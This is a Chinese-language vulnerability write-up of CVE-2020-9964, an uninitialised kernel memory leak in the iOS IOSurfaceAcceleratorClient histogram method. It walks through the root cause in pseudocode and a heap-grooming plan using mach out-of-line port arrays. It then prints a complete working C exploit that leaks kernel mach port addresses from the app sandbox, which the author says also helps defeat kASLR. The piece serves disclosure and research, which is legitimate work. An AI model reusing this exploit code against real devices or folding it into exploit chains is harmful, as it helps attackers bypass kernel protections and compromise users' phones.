CVE-2020-9964-iOS信息泄漏
文章来源：EDI安全
iOS 14现已向公众开放，并附带了iOS 14.0安全内容更新。您将看到的其中一个漏洞是CVE-2020-9964，这是IOSurfaceAccelerator中的一个漏洞，也是我的第一个信息泄漏:)
我（@ Muirey03）和MohamedGhannam（@ _simo36）都被发现了此漏洞。如果我发现有更多知道这一点的人，我将不会感到惊讶。
Apple将此错误的影响描述为“本地用户可能能够读取内核内存”，并在描述中将其称为“内存初始化问题”，那么该错误是什么？
IOSurfaceAcceleratorClient :: user_get_histogram
IOSurfaceAcceleratorClient是AppleM2ScalerCSCDriver IOService的用户客户端，并且是可以从“应用程序沙箱”中打开的少数几个用户客户端之一。我们对该用户客户端上的一种特定外部方法
（方法9，IOSurfaceAcceleratorClient :: user_get_histogram）感兴趣。IOSurfaceAcceleratorClient使用旧
IOUserClient :: getTargetAndMethodForIndex
作为其外部方法，这就是方法9的IOExternalMethod描述符的样子
{ IOSurfaceAcceleratorClient::user_get_histogram, kIOUCStructIStructO, 0x8, 0x0 }从中我们可以看到user_get_histogram仅占用8个字节的输入数据，并且不返回任何内容作为输出数据，因此让我们看一下实现。这是我注释的伪代码：
IOReturn IOSurfaceAcceleratorClient::user_get_histogram(IOSurfaceAcceleratorClient *this, void *input, uint64_t inputSize) { IOReturn result; if (this->calledFromKernel) { ... } else { IOMemoryDescriptor *memDesc = IOMemoryDescriptor::withAddressRange(*(mach_vm_address_t *)input, this->histogramSize, kIODirectionOutIn, this->task); if ( memDesc ) { ret = memDesc->prepare(kIODirectionNone); if (ret) { ... } else { ret = AppleM2ScalerCSCDriver::get_histogram(this->fOwner, this, memDesc); memDesc->complete(kIODirectionNone); } memDesc->release(); } else { ret = kIOReturnNoMemory; } } return ret; }从中我们可以看到，结构输入的8个字节旨在用作用户空间指针，
AppleM2ScalerCSCDriver :: get_histogram`可对其进行读写。实际上，get_histogram调用到get_histogram_gated，如下所示：
IOReturn AppleM2ScalerCSCDriver::get_histogram_gated(AppleM2ScalerCSCDriver *this, IOSurfaceAcceleratorClient *client, IOMemoryDescriptor *memDesc) { IOReturn result; if ( memDesc->writeBytes(0, client->histogramBuffer, client->histogramSize) == client->histogramSize ) result = kIOReturnSuccess; else result = kIOReturnIOError; return result; }
我们看到client-> histogramBuffer被写回到用户空间，所以现在的问题是，client-> histogramBuffer是什么？它在哪里初始化，在哪里填充？
IOSurfaceAcceleratorClient::histogramBuffer
这个问题的答案最终是
IOSurfaceAcceleratorClient :: initClient，它看起来像这样：
bool IOSurfaceAcceleratorClient::initClient(IOSurfaceAcceleratorClient *this, AppleM2ScalerCSCDriver *owner, int type, AppleM2ScalerCSCHal *hal) { ... if ( ... ) { ... if ( ... ) { size_t bufferSize = ...; this->histogramSize = bufferSize; this->histogramBuffer = (void *)IOMalloc(bufferSize); IOAsynchronousScheduler *scheduler = IOAsynchronousScheduler::ioAsynchronousScheduler(0); this->scheduler = scheduler; if ( scheduler ) return true; ... } else { ... } } else { ... } this->stopClient(); return false; }这是可疑的。histogramBuffer已分配但未填充，并且IOMalloc不会将内存归零，从而使histogramBuffer完全未初始化。正是在这一点上，我尝试为我自己调用该方法，但没有人感到惊讶，发现自己在看很多0xdeadbeef，这是未初始化内存的典型标志。
“开发”
我们正在将未初始化的内存泄漏回用户空间，但是我们该怎么办？像这样的信息泄漏自身相对而言是无害的，但是在利用其他内存损坏问题时有时是必不可少的。进行漏洞利用的一个常见要求是找到马赫端口地址，因此这是我进行漏洞利用的目标，但值得一提的是，该漏洞也可以用来击败kASLR。
我为此漏洞利用选择的目标分配是mach消息脱机端口阵列。发送马赫消息时，可以选择将消息标记为“复杂”。这告诉内核，标头后面的不是原始数据，而是一个“主体”，后跟与消息一起发送的描述符。这些描述符之一是mach_msg_ool_ports_descriptor_t，这是 一组插入到接收任务中的离线端口权限。
内核通过创建一个缓冲区来处理这些OOL端口，该缓冲区包含一个在消息发送时指向数组中每个端口的指针，并在收到消息后释放该缓冲区（有关此代码，请参见ipc_kmsg_copyin_ool_ports_descriptor，如果您感兴趣，则为“非常复杂，太长了，无法在此处粘贴）。这对我们来说是完美的！我们可以使用它来触发任何大小的内核分配，其中包含我们要读取的确切数据（马赫端口指针），并且我们可以在任何时候完全确定地释放它。
高级漏洞利用流程
因此，我的漏洞利用计划如下所示：
发送一些消息，其OOL端口数组的大小与client-> histogramSize相同
通过接收消息释放这些阵列
打开一个IOSurfaceAcceleratorClient连接，分配histogramBuffer，它现在应该与这些空闲端口数组之一重叠
调用外部方法9，将端口指针读回到用户空间
利润
在我的设备上，client-> histogramSize为0x300，这意味着我的端口阵列的长度必须为96个端口。我选择发送0x80消息，但这是我凭空提出的一个完全任意的数字，不要过多看它。
漏洞利用
最终的利用如下：
#include <stdlib.h> #include <assert.h> #include <stdio.h> #include <mach/mach.h> #include <IOKit/IOKitLib.h> #if 0 AppleM2ScalerCSCDriver Infoleak: IOSurfaceAcceleratorClient::user_get_histogram takes a userspace pointer and writes histogram data back to that address. IOSurfaceAcceleratorClient::initClient allocates this histogram buffer, but does not zero the memory. When the external method IOSurfaceAcceleratorClient::user_get_histogram is called, this uninitialised memory is then sent back to userspace. This vulnerability is reachable from within the app sandbox on iOS. Below is a proof-of-concept exploit which utilises this vulnerability to leak the address of any mach port that the calling process holds a send-right to. Other kernel object addresses can be obtained using this vulnerability in similar ways. #endif #define ASSERT_KR(kr) do { \ if (kr != KERN_SUCCESS) { \ fprintf(stderr, "kr: %s (0x%x)\n", mach_error_string(kr), kr); \ exit(EXIT_FAILURE); \ } \ } while(0) #define LEAK_SIZE 0x300 #define SPRAY_COUNT 0x80 mach_port_t create_port(void) { mach_port_t p = MACH_PORT_NULL; mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &p); mach_port_insert_right(mach_task_self(), p, p, MACH_MSG_TYPE_MAKE_SEND); return p; } io_connect_t open_client(const char* serviceName, uint32_t type) { io_connect_t client = MACH_PORT_NULL; io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(serviceName)); assert(service != MACH_PORT_NULL); IOServiceOpen(service, mach_task_self(), type, &client); assert(client != MACH_PORT_NULL); IOObjectRelease(service); return client; } void push_to_freelist(mach_port_t port) { uint32_t portCount = LEAK_SIZE / sizeof(void*); struct { mach_msg_header_t header; mach_msg_body_t body; mach_msg_ool_ports_descriptor_t ool_ports; } msg = {{0}}; mach_port_t* ports = (mach_port_t*)malloc(portCount * sizeof(mach_port_t)); for (uint32_t i = 0; i < portCount; i++) ports[i] = port; size_t msgSize = sizeof(msg); msg.header.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_MAKE_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX); msg.header.msgh_size = msgSize; msg.header.msgh_id = 'OOLP'; msg.body.msgh_descriptor_count = 1; msg.ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR; msg.ool_ports.address = (void*)ports; msg.ool_ports.count = portCount; msg.ool_ports.deallocate = false; msg.ool_ports.copy = MACH_MSG_PHYSICAL_COPY; msg.ool_ports.disposition = MACH_MSG_TYPE_MAKE_SEND; mach_port_t rcvPorts[SPRAY_COUNT]; for (uint32_t i = 0; i < SPRAY_COUNT; i++) { mach_port_t rcvPort = create_port(); rcvPorts[i] = rcvPort; msg.header.msgh_remote_port = rcvPort; //trigger kernel allocation of port array: kern_return_t kr = mach_msg(&msg.header, MACH_SEND_MSG | MACH_MSG_OPTION_NONE, (mach_msg_size_t)msgSize, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); ASSERT_KR(kr); } for (uint32_t i = 1; i < SPRAY_COUNT; i++) mach_port_destroy(mach_task_self(), rcvPorts[i]); free((void*)ports); } //The actual vulnerability: void leak_bytes(void* buffer) { io_connect_t client = open_client("AppleM2ScalerCSCDriver", 0); kern_return_t kr = IOConnectCallStructMethod(client, 9, (uint64_t*)&buffer, 8, NULL, NULL); ASSERT_KR(kr); IOServiceClose(client); } uint64_t find_port_addr(mach_port_t port) { uint64_t* leak = (uint64_t*)malloc(LEAK_SIZE); printf("Preparing heap\n"); push_to_freelist(port); printf("Leaking 0x%zx bytes\n", (size_t)LEAK_SIZE); leak_bytes(leak); uint64_t addr = leak[1]; free(leak); return addr; } int main(int argc, char* argv[], char* envp[]) { mach_port_t port = create_port(); uint64_t port_addr = find_port_addr(port); printf("Leaked port address: %p\n", (void*)port_addr); return 0; }我发现此漏洞利用程序的成功率接近100％，几乎无法检测到任何故障，从而使漏洞利用程序可以继续运行直到成功为止。
注：
我被告知，此漏洞的可利用性受到iOS 14堆分离的影响。我对iOS 14中所做的更改了解不足以确认这一点，但是在查看将来未初始化的内存泄漏时，绝对需要考虑这一点。
官方 